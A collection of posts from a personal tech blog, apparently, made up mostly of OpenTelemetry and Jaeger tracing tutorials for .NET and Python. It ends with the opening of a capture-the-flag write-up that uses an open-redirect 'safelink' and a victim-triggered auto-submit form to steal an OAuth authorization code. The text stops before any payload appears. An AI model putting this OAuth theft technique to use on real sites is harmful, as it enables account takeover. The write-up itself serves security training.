HTTP/1.1 200 OK
content-length: 14
content-type: application/json
date: Mon, 22 Nov 2021 12:47:18 GMT

[
    "first task"
]

Logs will look like:

$ RUST_LOG="warn,augias=trace" cargo run
   Compiling augias v0.1.0 (/home/mycroft/tmp/augias)
    Finished dev [unoptimized + debuginfo] target(s) in 4.05s
     Running `target/debug/augias`
 WARN  augias > Deleting task 'second_task'
 INFO  augias::db > Delete execution returned 1
 WARN  augias     > Deleting task 'second_task'
 INFO  augias::db > Delete execution returned 0
 INFO  augias     > Retrieve list of all tasks.

References: Link to heading

Trying Out Opentelemetry in Dotnet

pm@mkz.me (Patrick MARIE) — Wed, 10 Nov 2021 22:01:08 +0100

After testing Opentelemetry & Jaeger with Python, next step is now to try to set up a dotnet web app and to intrumentalize it as well. Note I don’t know at all C#/dotnet environments, that is my pretty much first project with those technologies.

Also, I’m not using Visual Studio, so I won’t be much helped by the environment.

Setting up a project Link to heading

After a quick look at the official documentation, I’m setting up a new quick webapp.

$ dotnet new webapi -o fo
The template "ASP.NET Core Web API" was created successfully.

Then, after removing the default controller & everything useless for our test, get a brand new Controller of our choice:

using Microsoft.AspNetCore.Mvc;

namespace fo.Controllers
{
    [ApiController]
    [Route("/")]
    public class FrontEndController : ControllerBase
    {
        [HttpGet("hello")]
        public string Get(string name = "world")
        {
            return "hello " + name;
        }
    }
}

Checking with some basic test:

$ dotnet run &
$ curl -k "https://127.0.0.1:5001/hello?name=patrick"
hello patrick

We’re currently going through the controller as expected. Now would be a good time to start installing & enabling Opentelemetry

Adding OpenTelemetry Link to heading

With dotnet, applications can be instrumented using System.Diagnostics.Activity that is built into the standard .NET library, and those objects will be used by OpenTelemetry for distributed tracing & to export them to console or to Jaeger, among others.

Activity-ies here are more or less spans counters we worked with in Python.

But before writing our first Activity, it is required to install & enable the first required dependancies. First enables the opentelemetry tracing, then both AspNet Core intrumentation & Console exports are installed. Here all libraries are installed with the --prerelease flag as there is still no official/major release of the libraries.

$ dotnet add package --prerelease OpenTelemetry.Extensions.Hosting
$ dotnet add package --prerelease OpenTelemetry.Instrumentation.AspNetCore
$ dotnet add package --prerelease OpenTelemetry.Exporter.Console

Then, just add the OpenTelemetryTracing to the services in Startup.cs:

using OpenTelemetry.Trace;
using OpenTelemetry.Resources;

        public void ConfigureServices(IServiceCollection services)
        {
            ...
            services.AddOpenTelemetryTracing(
                (builder) => builder
                    .SetResourceBuilder(ResourceBuilder.CreateDefault().AddService("fo"))
                    .AddAspNetCoreInstrumentation()
                    .AddConsoleExporter()
            );
        }

And that’s it to enable basic instrumentation of our basic AspNetCore API. After recompilation/restart and running a new http query, the first trace will show up on the console:

$ dotnet run
...
Activity.Id:          00-efdb432c3ace90f5c9d0b814a07637b1-4b985013537fdbe8-01
Activity.ActivitySourceName: OpenTelemetry.Instrumentation.AspNetCore
Activity.DisplayName: hello
Activity.Kind:        Server
Activity.StartTime:   2021-11-10T21:48:46.5182254Z
Activity.Duration:    00:00:00.0903551
Activity.TagObjects:
    http.host: 127.0.0.1:5001
    http.method: GET
    http.target: /hello
    http.url: https://127.0.0.1:5001/hello?name=patrick
    http.user_agent: curl/7.79.1
    http.route: hello
    http.status_code: 200
    otel.status_code: UNSET
Resource associated with Activity:
    service.name: fo
    service.instance.id: 3c5719bb-de80-4373-9336-0a1db913fc6f

Enabling Jaeger exporter Link to heading

As now tracing is working, we’ll enabling Jaeger exporter & then send traces to our already running Jaeger instance. As for Console exporter, a new dependancy is required:

$ dotnet add package --prerelease OpenTelemetry.Exporter.Jaeger

And it is also required to enable it & configure it in Startup.cs:

using OpenTelemetry;

            services.AddOpenTelemetryTracing(
                (builder) => builder
...
                    .AddJaegerExporter(opts => {
                        opts.ExportProcessorType = ExportProcessorType.Simple;
                        opts.AgentHost = "localhost";
                        opts.AgentPort = 6831;
                    })
            );

After a new HTTP request to the API endpoint, the trace appeared on Jaeger:

Creating more Activity-ies. Link to heading

The trace generated is the result of the default AspNetCore instrumentation, but as applications are getting more complex, we might want to generate our own spans, and as OpenTelemetry is using the internal System.Diagnostics.Activity objects provided by dotnet, it is possible to define ours & intrumentalize in a finer way our application.

Before setting up our new Activity in the Controller, it is required to inform the list of the source(s) Activity will be declared in. This requires a new change to define those sources in the Startup.cs in the OpenTelemetry service. The Activity source name used here will be Tracing:

                    .AddAspNetCoreInstrumentation()
                    .AddSource("Tracing")
                    .AddConsoleExporter()

This done, next is to add some new instrumentation code in our Controller, by defining an ActivitySource & using some Activity created thanks to this source around work units. After those changes, our controller looks like the following:

using System.Diagnostics;

...
        private static readonly ActivitySource Activity = new("Tracing", "1.0.0");

        [HttpGet("hello")]
        public string Get(string name = "world")
        {
            using (var activity_foo = Activity.StartActivity("foo", ActivityKind.Producer)) {
                using (var activity_bar = Activity.StartActivity("bar", ActivityKind.Producer)) {
                    if (name == "foo") {
                        name = "world";
                    }
                };
            };

            using (var activity_fizz = Activity.StartActivity("fizz", ActivityKind.Producer)) {
                using (var activity_buzz = Activity.StartActivity("buzz", ActivityKind.Producer)) {
                    if (name == "fizz") {
                        name = "buzz";
                    }
                };
            };
            return "hello " + name;
        }

Running a new HTTP query against this new compiled code will result in jaeger by:

Populating Activities Link to heading

Like OpenTelemtry’s spans in Python, dotnet Activity-ies objects are pretty much customizable. It is possible to set a status (using the OpenTelemetry tags),

Adding tags Link to heading

Adding tags to the activity is simple as using the SetTag function in the activity.

    activity_foo?.SetTag("foo", "bar");
    activity_foo?.SetTag("hello", "world");

Setting an error status Link to heading

Adding a status to an Activity is simple as adding the otel.status_code & otel.status_description tags. status_code can be “UNSET”, “OK” or “ERROR”. Description is optional and can be used to describe the status code reason.

As an example:

                if (name == "world") {
                    activity_foo?.SetTag("otel.status_code", "ERROR");
                    activity_foo?.SetTag("otel.status_description", "Name is world. Username can't be world.");
                }

In Jaeger, the Activity will be showing an error icon in the UI as expected, with the error description in tags:

Adding events Link to heading

Finally, it is possible to attach events to activities. Each event is described by a mandatory message, an optional timestamp and a set of tags. The AddEvent Activity function allow to attach an event.

            using (var activity_fizz = Activity.StartActivity("fizz", ActivityKind.Producer)) {
                using (var activity_buzz = Activity.StartActivity("buzz", ActivityKind.Producer)) {
                    activity_buzz?.SetTag("tag1", "this is a tag attached to the Activity");

                    if (name == "fizz") {
                        var activity_tags = new ActivityTagsCollection();
                        activity_tags.Add("tag1", "this is a tag attached to the ActivityEvent.");

                        activity_buzz?.AddEvent(new ActivityEvent(
                            "Name was changed!",
                            default,
                            activity_tags
                        ));

                        name = "buzz";
                    }
                };
            };

As a result, tags & events will be then showing in Jaeger like the following screenshot. Activity’ tags & events’ tags are clearly viewable:

Instrumentalizing HTTP client Link to heading

Now that our component is fully instrumentalized, we now want distributed tracing among several components. Easier first way is to go with using basic HTTP client, and Opentelemetry provides an instrumentalization for it.

To illustrate HTTP client, I’ll create a brand new AspNetCore project called bo with a simple controller, pretty much similar than fo. I’ll no redo the same steps than above as they are pretty much similar. Backend main controller looks like the following:

    public class BackEndController : ControllerBase
    {
        private static readonly ActivitySource Activity = new("Tracing", "1.0.0");

        [HttpGet("reverse")]
        public string Get(string name = "world")
        {
            using (var activity_foo = Activity.StartActivity("foo", ActivityKind.Producer)) {
                activity_foo?.SetTag("input", name);

                char[] nameArray = name.ToCharArray();
                Array.Reverse(nameArray);

                var output = new string(nameArray);

                var event_tags = new ActivityTagsCollection();
                event_tags.Add("request.input", name);
                event_tags.Add("request.output", output);
                
                activity_foo?.AddEvent(
                    new ActivityEvent("Got http response for the reverse on backend request.", default, event_tags)
                );

                activity_foo?.SetTag("output", name);

                return output;
            };
        }
    }

After modifying launchSettings.json to bind ports 6000 (http only, too lazy to set up ssl ceritficates on my setup) for this new webservice, I start the service & check if this new backend service is able to send traces to Jaeger.

...
      "applicationUrl": "http://localhost:6000",
...

This done, let’s modify our frontend code to execute an http request to backend.

First, it is required to add the new Http client intrumentalization dependancy.

$ dotnet add package --prerelease OpenTelemetry.Instrumentation.Http

Then, enable it in Startup.cs:

                    .AddHttpClientInstrumentation()

Finally, do some code to call the backend webservice:

using System.IO;
using System.Net;

...
            using (var activity_foo = Activity.StartActivity("foo", ActivityKind.Producer)) {
                activity_foo?.AddEvent(new ActivityEvent("Starting request to backend."));

                HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://localhost:6000/reverse?name=patrick");
                HttpWebResponse response = (HttpWebResponse)request.GetResponse();

                var response_body = new StreamReader(response.GetResponseStream()).ReadToEnd();

                var event_tags = new ActivityTagsCollection();
                event_tags.Add("response.length", response_body.Length);
                event_tags.Add("response.body", response_body.ToString());
                
                activity_foo?.AddEvent(
                    new ActivityEvent("Got http response for the request.", default, event_tags)
                );

                return "hello " + response_body;
            };

...

All this done, start both bo & fo component, and run a request against frontend API:

$ mycroft@saisei ~> curl -k "https://127.0.0.1:5001/hello?name=fizz"
hello kcirtap

The trace will then show up in Jaeger as the following:

Using Baggage to propagage context information Link to heading

Baggages are key/values and can be used to propagage context informations among processes involved into a single trace.

Adding a k/v into the current’s activity baggage is simple as that:

On frontend:

            var remoteIpAddress = HttpContext.Connection.RemoteIpAddress;
            var remoteIpPort = HttpContext.Connection.RemotePort;

            using (var activity_foo = Activity.StartActivity("foo", ActivityKind.Producer)) {
                activity_foo?.SetTag("client_port", remoteIpAddress + ":" + remoteIpPort);
                activity_foo?.AddEvent(new ActivityEvent("Starting request to backend."));

                activity_foo.AddBaggage("client_port", remoteIpAddress + ":" + remoteIpPort);
...
            };

… and the bagages values can be extracted out an IEnumerable as the following on the backend part of the application stack:

using System.Linq;

...

        public string Get(string name = "world")
        {
            // Sending all baggages into this activity tags
            foreach (var (key, value) in Activity.Current?.Baggage)
            {
                Activity.Current?.SetTag(key, value);
            }

            using (var activity_foo = Source.StartActivity("foo", ActivityKind.Producer)) {
                activity_foo?.SetTag("input", name);

                // Extracting a single baggage item & inserting it as a tag.
                var baggage = Activity.Current?.Baggage.ToDictionary(item => item.Key);

                if (baggage.ContainsKey("client_port")) {
                    activity_foo?.SetTag("client_port", baggage["client_port"].Value);
                }        
...
        }

The next possible thing to do is to send the context & propagage the trace using a new way to communicate among processes, such as a message queue.

Propagating traces by exporting & importing context to workers using message queues Link to heading

I’ll be using rabbitmq to send messages with all the require information to continue the trace. The information will be exported from dotnet Activities to Rabbitmq properties in a message, then re-imported in the worker process in order to complete the whole task.

First before all, enable rabbitmq using an official docker image:

$ podman run --name rabbitmq -d -p 5672:5672 -p 15672:15672 rabbitmq

On the backend process, let’s make sure the context information is correctly sent through RabbitMQ. The new RabbitMQ.Client needs to be installed.

$ dotnet add package RabbitMQ.Client

Then, the backend code needs to be enhanced to send a message on each request to RabbitMQ.

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;

using RabbitMQ.Client;

using OpenTelemetry;
using OpenTelemetry.Context.Propagation;

...

        private void InjectContextIntoHeader(IBasicProperties props, string key, string value)
        {
            try
            {
                props.Headers ??= new Dictionary<string, object>();
                props.Headers[key] = value;
            }
            catch (Exception)
            {
                Console.WriteLine("Failed to inject trace context.");
            }
        }

...

            using (var activity = Source.StartActivity("Sending message to Rabbitmq", ActivityKind.Producer))
            {
                var factory = new ConnectionFactory { HostName = "localhost" };
                using (var connection = factory.CreateConnection())
                using (var channel = connection.CreateModel())
                {
                    activity?.SetTag("messaging.system", "rabbitmq");
                    activity?.SetTag("messaging.destination_kind", "queue");
                    activity?.SetTag("messaging.rabbitmq.queue", "sample");

                    var props = channel.CreateBasicProperties();
                    Propagator.Inject(
                        new PropagationContext(
                            activity.Context,
                            Baggage.Current), 
                        props,
                        InjectContextIntoHeader);

                    channel.QueueDeclare(queue: "sample",
                        durable: false,
                        exclusive: false,
                        autoDelete: false,
                        arguments: null);

                    channel.BasicPublish(exchange: "",
                        routingKey: "sample",
                        basicProperties: props,
                        body: Encoding.UTF8.GetBytes(output));
                }
            };

Then, we need a worker to receive the messages, and we then want to continue & complete the execution trace with this component. This last component will be named … worker:

$ dotnet new console -o worker
$ cd worker
$ dotnet add package RabbitMQ.Client
$ dotnet add package --prerelease OpenTelemetry.Extensions.Hosting
$ dotnet add package --prerelease OpenTelemetry.Exporter.Jaeger

The worker code is a bit long, as we need to setup OpenTelemetry, RabbitMq, un-queue messages, extract metadata, then emit a trace. Source code in a brief looks like:

        private static void ProcessMessage(BasicDeliverEventArgs ea, IModel rabbitMqChannel)
        {
            var parentContext = Propagator.Extract(
                default,
                ea.BasicProperties,
                ExtractTraceContextFromBasicProperties);

            Baggage.Current = parentContext.Baggage;

            using (var activity = Source.StartActivity("Worker: Processing Message", ActivityKind.Consumer, parentContext.ActivityContext))
            {
                try
                {
                    var body = ea.Body.ToArray();
                    var message = Encoding.UTF8.GetString(body);

                    foreach(var (key, value) in Baggage.Current) {
                        activity?.SetBaggage(key, value);
                    }

                    activity?.SetTag("messaging.system", "rabbitmq");
                    activity?.SetTag("messaging.destination_kind", "queue");
                    activity?.SetTag("messaging.rabbitmq.queue", "sample");

                    var baggage = activity?.Baggage.ToDictionary(item => item.Key);
                    var client = "unknown";

                    if (baggage.ContainsKey("client_port")) {
                        activity?.SetTag("client_port", baggage["client_port"].Value);
                        client = baggage["client_port"].Value;
                    } 

                    activity?.AddEvent(new ActivityEvent($"Recieved a message \"{message}\" from client:{client}"));

                    rabbitMqChannel.BasicAck(deliveryTag: ea.DeliveryTag, multiple: false);
                }
                catch(Exception ex)
                {
                    Console.Write($"Got an error while processing message: {ex}");
                }
            }
        }

As a result, after an execution, we have the whole process: It goes from frontend, then to backend, then to worker process run async. We’ve sent required baggage when needed as well, and the information is still in the trace at the end of the process execution.

In this tutorial, we enabled tracing in a dotnet application, using already implemented instrumentalization but also handing it manually when going through rabbitmq. We’ve seen how to custom Activity as spans, set a status code, events, baggages…

As I’m not a dotnet developer, it took me a while to write all this. Nothing would have been possible without those references:

Testing Jaeger With Opentelemetry Part 2

pm@mkz.me (Patrick MARIE) — Tue, 09 Nov 2021 12:05:15 +0100

In this post, I’ll show how to customize spans, by adding logs & events & propagate traces in a multiple components application.

This is a follow-up of the Testing Jaeger with Opentelemetry post.

Adding logs Link to heading

Strictly speaking, logs are no part of traces. However, thanks to Opentelemetry, you can add the relevant information to correlate logs to traces. By just initializing otel’s logging instrumentalization, logs will contain trace ids, making correlation much easier.

To achieve this, after adding the required opentelemetry-instrumentation-logging dependency to your project, just initialize the LoggingInstrumentor:

...

from opentelemetry.instrumentation.logging import LoggingInstrumentor
import logging

LoggingInstrumentor().instrument(
    set_logging_format=True,
    log_level=logging.DEBUG
)
logger = logging.getLogger(__name__)

...

# Adding some log in some spans:
logger.info("First span will start")
with tracer.start_as_current_span("foo"):
    logger.info("In the first span!")

    with tracer.start_as_current_span("bar") as span:
        logger.info("In the second span!")

        with tracer.start_as_current_span("error_baz") as span:
            # for some reason, this span had some bad stuff happening
            span.set_status(Status(StatusCode.ERROR))
        with tracer.start_as_current_span("baz"):
            print("Hello world from OpenTelemetry Python!")

logger.info("end of the trace")

The result after the change, in the console:

2021-11-09 13:02:16,035 INFO [__main__] [test2.py:39] [trace_id=0 span_id=0 resource.service.name=testaroo-service] - First span will start
2021-11-09 13:02:16,052 INFO [__main__] [test2.py:41] [trace_id=3db23ca07ef0f16d870e5ffe549a803a span_id=6c700be9e46bb6be resource.service.name=testaroo-service] - In the first span!
2021-11-09 13:02:16,052 INFO [__main__] [test2.py:44] [trace_id=3db23ca07ef0f16d870e5ffe549a803a span_id=16f3a5e3e285bc7a resource.service.name=testaroo-service] - In the second span!
Hello world from OpenTelemetry Python!
2021-11-09 13:02:16,053 INFO [__main__] [test2.py:51] [trace_id=0 span_id=0 resource.service.name=testaroo-service] - end of the trace

In my sample, the trace id is 3db23ca07ef0f16d870e5ffe549a803a (aka 3db23ca), which correlates to the trace collected by Jaeger, as shown in the UI:

However, those are log lines. While they contain the trace_id of the trace, they will be no part of traces.

No logs in trace, here come events Link to heading

As said, there is no log strictly speaking in traces. However, as we already seen, we can set a status to traces using set_status, and it is also possible to add events in span, which can be used as logs to describe how spans are behaving.

To do so, we’ll make use of the add_event function in spans. An event behaves as a log message, and some attributes can be added to it. Events will be part of the span they are added, and can be viewed in Jaeger UI. Attributes/values can also be searched, which make it easy to find out when something failed.

For example, by adding some code that change our testing program, we can generate & track some unexpected behavior:

...
import random
...

# In the span contexts...

    with tracer.start_as_current_span("bar") as span:
        logger.info("In the second span!")
        random_number = random.randint(1,10)
        if random_number % 2 == 0:
            message = f"Picked up number is even"
        else:
            message = f"Picked up number is odd"

        span.add_event(
            message,
            attributes={
                'random_number': random_number,
            }
        )

        if random_number == 7:
            span.set_status(Status(StatusCode.ERROR))

...

After a few executions, to get the random_number==7, we can track the trace with this event & then take a deeper look at it:

Details of the found trace:

We found out our trace with the event matching the random_number=7 filter that generated an error.

Propagating traces between requests Link to heading

Now that we master traces & spans, the most useful mechanism is to propagate traces during a multiple component workflow. The goal is to make easier developers & sysops to identify where errors happen or what component is unexpectedly slow.

To illustrate this, I’ll start with 2 small webapps, a frontend & a backend, both running flask (as the Opentelemetry integration for flask is very simple to set-up), and generate traces involving both components.

The Backend Link to heading

Let’s start by creating our backend. It is very small, as it will respond to /hello with a name parameter, and will write "Hello <name>". The biggest part of the backend will be actually to startup trace instrumentalization, which doesn’t differ much from previous samples.

The backend code:

import flask
import requests
from flask import request

from opentelemetry import trace
from opentelemetry.instrumentation.flask import FlaskInstrumentor
from opentelemetry.sdk.trace import TracerProvider
from opentelemetry.sdk.trace.export import (
    BatchSpanProcessor,
    ConsoleSpanExporter,
)
from opentelemetry.sdk.resources import SERVICE_NAME, Resource
from opentelemetry.exporter.jaeger.thrift import JaegerExporter
from opentelemetry.trace import Status, StatusCode

trace.set_tracer_provider(TracerProvider(
    resource=Resource.create({SERVICE_NAME: "backend-service"})
))
exporter = JaegerExporter(
    collector_endpoint="http://localhost:14268/api/traces"
)
trace.get_tracer_provider().add_span_processor(
    BatchSpanProcessor(exporter)
)

app = flask.Flask(__name__)
FlaskInstrumentor().instrument_app(app)

tracer = trace.get_tracer(__name__)

@app.route("/hello")
def hello():
    name = request.args.get('name', default = "", type = str)
    with tracer.start_as_current_span("backend-hello") as span:
        span.add_event("Doing backend here.", {'name': name})

        if name == 'joe':
            span.set_status(Status(StatusCode.ERROR))
            span.add_event("I don't like joe", {'anger': 'high'})

    return "hello " + name

app.run(port=5000)

Running this requires more deps, so don’t forget to install them before testing out our backend:

$ pip install flask requests opentelemetry-instrumentation-flask
$ python backend.py
 * Serving Flask app 'backend' (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
127.0.0.1 - - [09/Nov/2021 14:13:24] "GET /hello HTTP/1.1" 200 -

To test the backend:

$ curl "http://127.0.0.1:5000/hello?name=world"
hello world

Now the frontend counterpart. Our frontend service will act as a proxy and run some requests on the backend. It will make use of the requests module to perform this, and as Opentelemetry is nice for already providing a specific instrumentalization for this module, we’ll make use of it as well.

The RequestInstrumentalization will populate the http requests with custom headers to propagate the trace. As backend server is already instrumentalized using opentelemetry, the modules will find out that trace contexts exist, and will make use of it.

The code will then be:

import flask
from flask import request
import requests

from opentelemetry import trace
from opentelemetry.instrumentation.flask import FlaskInstrumentor
from opentelemetry.instrumentation.requests import RequestsInstrumentor
from opentelemetry.sdk.trace import TracerProvider
from opentelemetry.sdk.trace.export import (
    BatchSpanProcessor,
    ConsoleSpanExporter,
)
from opentelemetry.sdk.resources import SERVICE_NAME, Resource
from opentelemetry.exporter.jaeger.thrift import JaegerExporter

trace.set_tracer_provider(TracerProvider(
    resource=Resource.create({SERVICE_NAME: "web-frontend"})
))
exporter = JaegerExporter(
    collector_endpoint="http://localhost:14268/api/traces"
)
trace.get_tracer_provider().add_span_processor(
    BatchSpanProcessor(exporter)
)

app = flask.Flask(__name__)
FlaskInstrumentor().instrument_app(app)
RequestsInstrumentor().instrument()

tracer = trace.get_tracer(__name__)

@app.route("/")
def hello():
    name = request.args.get('name', default = "", type = str)
    with tracer.start_as_current_span("frontend-hello") as span:
        span.add_event("Calling backend.", attributes={'name': name})
        result = requests.get("http://localhost:5000/hello?name=" + name)
        return str(result.text)
    return "default response" # This should not happen.

app.run(port=8000)

Finally, install the pretty much last required package and run the frontend:

# pip install opentelemetry-instrumentation-requests
# python frontend.py
 * Serving Flask app 'frontend' (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on http://127.0.0.1:8000/ (Press CTRL+C to quit)

This done, run a single query and watch the magic in jaeger UI:

# curl "http://127.0.0.1:8000/?name=patrick"
hello patrick

We can clearly see the request going through the frontend (in brown), then the backend (in salmon), with the argument given. With this, it is possible to debug more easily complex multi-component projects.

Adding more information in the context Link to heading

As traces are now propagating among multiple components, one last bit to add is to send more informations in the context. Tracing & opentelemetry propose a “baggage” API to this, allowing to annotate a bit traces. Baggages can also be sent through API requests from one component to another.

On the frontend, you need to create a new context involving the databag, and to inject the context in the API request.

Frontend code:

# Used to retrieve hostname
import socket
from opentelemetry.context import get_current
from opentelemetry.propagate import inject

...

# In the spans:

        with tracer.start_as_current_span('frontend-with-baggage') as span:
            # Retrieve current otel context to build the context to inject
            current_context = get_current()
            current_context = baggage.set_baggage('frontend_hostname', socket.gethostname(), current_context)
            headers = {}
            # Inject the context into headers
            inject(headers, context=current_context)
            
            # Send the context through the API query:
            span.add_event("Calling backend.", attributes={'name': name})
            result = requests.get("http://localhost:5000/hello?name=" + name, headers=headers)
            return str(result.text)

On backend, it is required to extract the given context to extract the bag:

Backend code:


from opentelemetry import baggage
from opentelemetry.propagate import extract
import opentelemetry.instrumentation.wsgi as otel_wsgi

...

    extracted_context = extract(request.environ, getter=otel_wsgi.wsgi_getter)
    bag_value = baggage.get_baggage('frontend_hostname', extracted_context)
    
    with tracer.start_as_current_span("backend-hello") as span:
        span.add_event("Doing backend here.", {
            'name': name,
            'frontend_hostname': bag_value, 
        })

Don’t forget to install opentelemetry-instrumentation-wsgi before running, and to restart the services.

As a result, in our example, the retrieved hostname on the frontend is corrently sent to backend & can be added in traces as well.

In this post, we discovered how to add logs in our app and make sure they can be correlated to traces, how to add events in spans, trace propagation across multiple services & finally, how to send data/context between different components in a single trace.

Final source code: frontend, backend.

References:

Testing Jaeger With Opentelemetry

pm@mkz.me (Patrick MARIE) — Tue, 09 Nov 2021 10:27:04 +0100

This posts is a quick reminder of my testing of opentelemetry SDKs (Python & Golang implementations), working with traces (span, events propagation).

It covers:

Running a Jaeger instance;
Sending traces using a short Python debug script;
Writing logs lines with opentelemetry correlation;
Working with http backend/frontend processes;

Starting Jaeger Link to heading

Jaeger is a distributed trace collector, ingestor & UI to search & view the traces. It uses Cassandra (or scylladb) or Elasticsearch for trace persistence.

It comes with an all-in-one docker image that will run all the mandatory components (ie: both collector, API, UI & storage) for development & testing purposes.

Running the all-in-one Jaeger docker image Link to heading

Starting the image is pretty much straightforward (as long as you don’t forget to expose ports), and the following should work out of the box:

podman run -d --name jaeger \
  -e COLLECTOR_ZIPKIN_HOST_PORT=:9411 \
  -p 5775:5775/udp \
  -p 6831:6831/udp \
  -p 6832:6832/udp \
  -p 5778:5778 \
  -p 16686:16686 \
  -p 14268:14268 \
  -p 14250:14250 \
  -p 9411:9411 \
  jaegertracing/all-in-one:1.27

(Note I’m using podman because fedora, but you’re free to use your prefered container runtime tech.).

Once started, Jaeger should be available on localhost, on UI port 16686: http://localhost:16686.

All ports are not required for what you want to do, so you can shrink the list a bit. Most importants ones in my opinion are 6831, 6832 (udp, to accept traces in jaeger.thrift formats), 5778 http port to serve config, 16686 http port to serve UI & finally 14268 to accept jaeger.thrift formats using http.

First Opentelemetry Python SDK usage Link to heading

I’ll use the Python SDK to send a single trace. Before send it to jaeger, the following script will send it to the console for debug purpose.

The snippet comes from the official documentation page, with some inline comments of mine.

# trace is the base component that will use a tracer to control the execution context of tracing.
# it must be given a tracer API (here TracerProvider), that will make use of a processor & an exporter
from opentelemetry import trace
from opentelemetry.sdk.trace import TracerProvider
from opentelemetry.sdk.trace.export import (
    BatchSpanProcessor,
    ConsoleSpanExporter,
)

# Create the provider, processor, exporter, and initialize the execution context
provider = TracerProvider()
processor = BatchSpanProcessor(ConsoleSpanExporter())
provider.add_span_processor(processor)
trace.set_tracer_provider(provider)


# Retrieve the instanciated API
tracer = trace.get_tracer(__name__)

# Create a span creating a span creating a span.
with tracer.start_as_current_span("foo"):
    with tracer.start_as_current_span("bar"):
        with tracer.start_as_current_span("baz"):
            print("Hello world from OpenTelemetry Python!")

At this point, the script should run as it. Don’t forget to initialize a virtual environment & install the required deps or, well, it might not work:

$ virtualenv .venv
$ source .venv/bin/activate
$ pip install opentelemetry-api opentelemetry-sdk
$ python test1.py
Hello world from OpenTelemetry Python!
{
    "name": "baz",
    "context": {
        "trace_id": "0x9677d965376d21835a4b03d2dc226920",
        "span_id": "0x1283356771d6ab84",
        "trace_state": "[]"
    },
    "kind": "SpanKind.INTERNAL",
    "parent_id": "0x6f28074b7bf2ac3e",
    "start_time": "2021-11-09T09:50:34.541857Z",
    "end_time": "2021-11-09T09:50:34.541882Z",
    "status": {
        "status_code": "UNSET"
    },
    "attributes": {},
    "events": [],
    "links": [],
    "resource": {
        "telemetry.sdk.language": "python",
        "telemetry.sdk.name": "opentelemetry",
        "telemetry.sdk.version": "1.6.2",
        "service.name": "unknown_service"
    }
}
...

You should see the print message, then on exit, the console dump of the trace spans. As we defined three spans (foo, bar, baz), you’ll have three spans as well. Each spans has several information, as trace_id (should be unique during the whole tracer execution process, multiple span_ids, kind, start/end times, status, etc.) Some of those information are generated during execution, others can be changed (like status, events…).

This said, next step is to send traces to Jaeger. We modify the above script a little bit to add more processing information, like a service name, or modify a bit spans during execution process, by adding some error happening (without any error message yet).

from opentelemetry import trace
from opentelemetry.sdk.trace import TracerProvider
from opentelemetry.sdk.trace.export import BatchSpanProcessor

from opentelemetry.sdk.resources import SERVICE_NAME, Resource
from opentelemetry.exporter.jaeger.thrift import JaegerExporter
from opentelemetry.trace import Status, StatusCode

# Create a provider by providing a service name.
trace.set_tracer_provider(
    TracerProvider(
        resource=Resource.create({SERVICE_NAME: "testaroo-service"})
    )
)

# Create and use a JaegerExporter (no longer use the ConsoleSpanExporter anymore)
exporter = JaegerExporter(
    collector_endpoint="http://localhost:14268/api/traces"
)

trace.get_tracer_provider().add_span_processor(
    BatchSpanProcessor(exporter)
)

# Retrieve the instanciated API
tracer = trace.get_tracer(__name__)

# Create a span creating a span creating a span.
with tracer.start_as_current_span("foo"):
    with tracer.start_as_current_span("bar") as span:
        with tracer.start_as_current_span("error_baz") as span:
            # for some reason, this span had some bad stuff happening
            span.set_status(Status(StatusCode.ERROR))
        with tracer.start_as_current_span("baz"):
            print("Hello world from OpenTelemetry Python!")

Before running, don’t forget to install the new required dependancy opentelemetry-exporter-jaeger.

$ pip install opentelemetry-exporter-jaeger
$ python test.py
Hello world from OpenTelemetry Python!
$

The script is no longer very talkative as the trace is no longer sent to the console. Instead, the trace appeared in Jaeger:

You can also see the span marked as errored.

In a second part, I’ll add more information in spans, as events/logs, add some logs & make sure logs are correctly correlated with traces, and in a final part, test trace propagation between a python frontend & a golang backend.

In this part, you found out how to start jaeger in development mode, and send your first traces using the Opentelemetry Python SDK.

References:

DG'hAck: Jobboard and Involucrypt2

pm@mkz.me (Patrick MARIE) — Fri, 04 Dec 2020 08:56:30 +0100

Jobboard Link to heading

Another web challenge. A job posting board.

The website is protected by some oauth login. We can’t register on it, but we have a demo account.

To start, I traced down the authentification challenge:

POST http://jobboard2.chall.malicecyber.com/oauth/authorize?client_id=svvhKlyEA7qODbl16JTUPQNz&response_type=code&redirect_uri=http%3A%2F%2Fjobboard2.chall.malicecyber.com%2Fconnect%2Fauth%2Fcallback&scope=profile
302 http://jobboard2.chall.malicecyber.com/connect/auth/callback?code=2xRYtOHEKBMVqpjYhzMwmWmCV0BiCgYcSgZq9nzYwCtm8ZAg

GET http://jobboard2.chall.malicecyber.com/connect/auth/callback?code=2xRYtOHEKBMVqpjYhzMwmWmCV0BiCgYcSgZq9nzYwCtm8ZAg
302 /login?access_token=xKAWeUQNnoirx2MjnBVKvZE5sl5Uizyi89hdeqeNZ9&raw%5Baccess_token%5D=xKAWeUQNnoirx2MjnBVKvZE5sl5Uizyi89hdeqeNZ9&raw%5Bexpires_in%5D=864000&raw%5Bscope%5D=profile&raw%5Btoken_type%5D=Bearer

GET http://jobboard2.chall.malicecyber.com/login?access_token=xKAWeUQNnoirx2MjnBVKvZE5sl5Uizyi89hdeqeNZ9&raw%5Baccess_token%5D=xKAWeUQNnoirx2MjnBVKvZE5sl5Uizyi89hdeqeNZ9&raw%5Bexpires_in%5D=864000&raw%5Bscope%5D=profile&raw%5Btoken_type%5D=Bearer
302 ../../

GET http://jobboard2.chall.malicecyber.com/
302 /browse

GET /browse
200

There is a contact form. Like previous challenges, sending an URL in it will call it in the target’s browser.

The goal here is to retrieve a valid oauth code. The problem is that to do that, you’ll need to change the redirect_uri, but that field is only accepting whitelisted urls:

http://jobboard2.chall.malicecyber.com/oauth/authorize?client_id=svvhKlyEA7qODbl16JTUPQNz&response_type=code&redirect_uri=http://blah.com
renvoie "invalid_request: Invalid "redirect_uri" in request."

However, in the app, we see that there is a feature to redirect to other sites: http://jobboard2.chall.malicecyber.com/safelink/http%3A%2F%2Fexample.com%2F. It is possible to get a valid jobboard2.chall.malicecyber.com link redirecting to a 3rd party website. We’ll make use of it to retrieve our code. The final phase is to force user to accept the login automaticaly in the oauth process, and we’ll make use of a auto-post form to this:

<?php
